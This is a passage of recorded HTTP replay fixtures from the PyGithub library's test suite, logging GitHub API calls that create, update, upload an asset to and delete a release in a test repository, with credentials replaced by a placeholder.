title","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T17:14:53Z","assets":[],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.25.2","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.25.2","body":"release message"} https PATCH api.github.com None /repos/rickrickston123/RepoTest/releases/28553923 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"tag_name": "v1.25.2", "name": "Updated Test", "body": "Updated Body", "draft": false, "prerelease": false} 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:14:53 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4772'), ('X-RateLimit-Reset', '1594749125'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"9c97be433f23e5100b2ae5c782f7a6a4"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '888C:6B7F:1334CCD:1F1D34C:5F0DE80D')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553923","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553923/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28553923/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.25.2","id":28553923,"node_id":"MDc6UmVsZWFzZTI4NTUzOTIz","tag_name":"v1.25.2","target_commitish":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","name":"Updated Test","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T17:14:53Z","assets":[],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.25.2","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.25.2","body":"Updated Body"} https GET api.github.com None /repos/rickrickston123/RepoTest/releases/28553923 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:14:54 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4771'), ('X-RateLimit-Reset', '1594749126'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"9c97be433f23e5100b2ae5c782f7a6a4"'), ('Last-Modified', 'Tue, 14 Jul 2020 17:14:53 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8894:7A61:1044148:1C28D64:5F0DE80E')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553923","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553923/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28553923/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.25.2","id":28553923,"node_id":"MDc6UmVsZWFzZTI4NTUzOTIz","tag_name":"v1.25.2","target_commitish":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","name":"Updated Test","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T17:14:53Z","assets":[],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.25.2","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.25.2","body":"Updated Body"} https DELETE api.github.com None /repos/rickrickston123/RepoTest/releases/28553923 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:14:54 GMT'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4770'), ('X-RateLimit-Reset', '1594749126'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', '889C:397F:26CFCB:6B223C:5F0DE80E')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GitRelease.testUploadAsset.txt0000644000175100001660000004575414756101563024105 0ustar00runnerdockerhttps GET api.github.com None /repos/rickrickston123/RepoTest/commits {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:14:56 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4766'), ('X-RateLimit-Reset', '1594749126'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1ecac7ea1780c4d77d519466d2894d79"'), ('Last-Modified', 'Sun, 12 Jul 2020 07:34:42 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '88C0:745A:45C1DE:C0D08B:5F0DE810')] [{"sha":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","node_id":"MDY6Q29tbWl0Mjc5MDE1Mjg2OjgxM2RhNTI4ZGE0NmVmNGNiYjI4ZDIwMThlYWE2ZDRiM2Q1NmY0MGY=","commit":{"author":{"name":"rickrickston123","email":"64711998+rickrickston123@users.noreply.github.com","date":"2020-07-12T07:34:42Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2020-07-12T07:34:42Z"},"message":"Initial commit","tree":{"sha":"c56099e10207d5a7021b4485eda0afc18946727a","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/trees/c56099e10207d5a7021b4485eda0afc18946727a"},"url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\nwsBcBAABCAAQBQJfCr0SCRBK7hj4Ov3rIwAAdHIIAEPYazT1x/QUozS6/rF1YLeX\nK50UqPFfnWA1IRwAVdYEy6Nwmb7bNuIeTna/GFi7BybozBOk2HMfQW2dhoZD35FC\nmGTk6mcy+hyaCrO7sGmCGhbVdcY86X3WxrRABzUqBGeo29CnEtjOfPnmBuW5MTNr\nnq3TBU7mjWZi09ivXIrfYWqxCEpMm4vHRPBZSgzuj/IgZLmQccgIyZu4v0GNkGQk\ngVceI/P849EX+rVSG73YAntlZIJaivqgZO5fvsdQjz92PAMM7bAKf1u7Vg4bt4Yw\n0YSAcXrFPky+kPE6CoXjx2uWVdyISs7RRWJS034z64nckExs99eKbCryjhBJwIA=\n=6HU0\n-----END PGP SIGNATURE-----\n","payload":"tree c56099e10207d5a7021b4485eda0afc18946727a\nauthor rickrickston123 <64711998+rickrickston123@users.noreply.github.com> 1594539282 -0700\ncommitter GitHub 1594539282 -0700\n\nInitial commit"}},"url":"https://api.github.com/repos/rickrickston123/RepoTest/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","html_url":"https://github.com/rickrickston123/RepoTest/commit/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","comments_url":"https://api.github.com/repos/rickrickston123/RepoTest/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f/comments","author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[]}] https POST api.github.com None /repos/rickrickston123/RepoTest/git/tags {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"tag": "v1.25.2", "message": "tag message", "object": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f", "type": "commit"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:14:56 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '694'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4765'), ('X-RateLimit-Reset', '1594749125'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"5051215225850947c282d3f591630ef2"'), ('Location', 'https://api.github.com/repos/rickrickston123/RepoTest/git/tags/bd980f7d7d8ffae882c2ee02793bb7102c4bb443'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '88C8:3982:10F294D:1D52054:5F0DE810')] {"node_id":"MDM6VGFnMjc5MDE1Mjg2OmJkOTgwZjdkN2Q4ZmZhZTg4MmMyZWUwMjc5M2JiNzEwMmM0YmI0NDM=","sha":"bd980f7d7d8ffae882c2ee02793bb7102c4bb443","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/tags/bd980f7d7d8ffae882c2ee02793bb7102c4bb443","tagger":{"name":"rickrickston123","email":"64711998+rickrickston123@users.noreply.github.com","date":"2020-07-14T17:14:56Z"},"object":{"sha":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","type":"commit","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f"},"tag":"v1.25.2","message":"tag message","verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}} https POST api.github.com None /repos/rickrickston123/RepoTest/releases {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"tag_name": "v1.25.2", "draft": false, "prerelease": false, "generate_release_notes": false, "name": "release title", "body": "release message", "target_commitish": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f", "make_latest": "true"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:14:57 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1839'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4764'), ('X-RateLimit-Reset', '1594749126'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"08734005fd9365fc591d27a27bdf992a"'), ('Location', 'https://api.github.com/repos/rickrickston123/RepoTest/releases/28553925'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '88D4:6F6D:F280BD:1A3F57A:5F0DE811')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553925","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553925/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28553925/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.25.2","id":28553925,"node_id":"MDc6UmVsZWFzZTI4NTUzOTI1","tag_name":"v1.25.2","target_commitish":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","name":"release title","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T17:14:57Z","assets":[],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.25.2","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.25.2","body":"release message"} https POST uploads.github.com None /repos/rickrickston123/RepoTest/releases/28553925/assets?label=unit+test+artifact&name=archive.zip {'Content-Type': 'application/zip', 'Content-Length': '140', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} <_io.BufferedReader name='archive.zip'> 201 [('Cache-Control', 'no-cache'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Type', 'application/json; charset=utf-8'), ('Etag', 'W/"af76ff306880818d79f0fa772d6f8cf1"'), ('Last-Modified', 'Tue, 14 Jul 2020 17:14:58 GMT'), ('Strict-Transport-Security', 'max-age=31557600'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('X-Content-Type-Options', 'nosniff'), ('X-Frame-Options', 'deny'), ('X-Github-Media-Type', 'github.v3; format=json'), ('X-Xss-Protection', '1; mode=block'), ('Date', 'Tue, 14 Jul 2020 17:14:58 GMT'), ('Transfer-Encoding', 'chunked'), ('X-GitHub-Request-Id', 'AEA8:5691:6650A9:77690A:5F0DE811')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22874904","id":22874904,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODc0OTA0","name":"archive.zip","label":"unit test artifact","uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"application/zip","state":"uploaded","size":140,"download_count":0,"created_at":"2020-07-14T17:14:57Z","updated_at":"2020-07-14T17:14:58Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.25.2/archive.zip"} https GET api.github.com None /repos/rickrickston123/RepoTest/releases/28553925 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:14:58 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4761'), ('X-RateLimit-Reset', '1594749126'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"0037b79d5f7fa7e156e9f7b8e9ff711a"'), ('Last-Modified', 'Tue, 14 Jul 2020 17:14:57 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '88EA:102B:596CE9:CDC973:5F0DE812')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553925","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553925/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28553925/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.25.2","id":28553925,"node_id":"MDc6UmVsZWFzZTI4NTUzOTI1","tag_name":"v1.25.2","target_commitish":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","name":"release title","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T17:14:57Z","assets":[{"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22874904","id":22874904,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODc0OTA0","name":"archive.zip","label":"unit test artifact","uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"application/zip","state":"uploaded","size":140,"download_count":0,"created_at":"2020-07-14T17:14:57Z","updated_at":"2020-07-14T17:14:58Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.25.2/archive.zip"}],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.25.2","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.25.2","body":"release message"} https DELETE api.github.com None /repos/rickrickston123/RepoTest/releases/28553925 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:14:59 GMT'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4760'), ('X-RateLimit-Reset', '1594749125'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', '88F4:6228:451708:B801AA:5F0DE812')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GitRelease.testUploadAssetFileLike.txt0000644000175100001660000005347114756101563025505 0ustar00runnerdockerhttps GET api.github.com None /repos/rickrickston123/RepoTest/commits {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:15:00 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4756'), ('X-RateLimit-Reset', '1594749126'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1ecac7ea1780c4d77d519466d2894d79"'), ('Last-Modified', 'Sun, 12 Jul 2020 07:34:42 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), 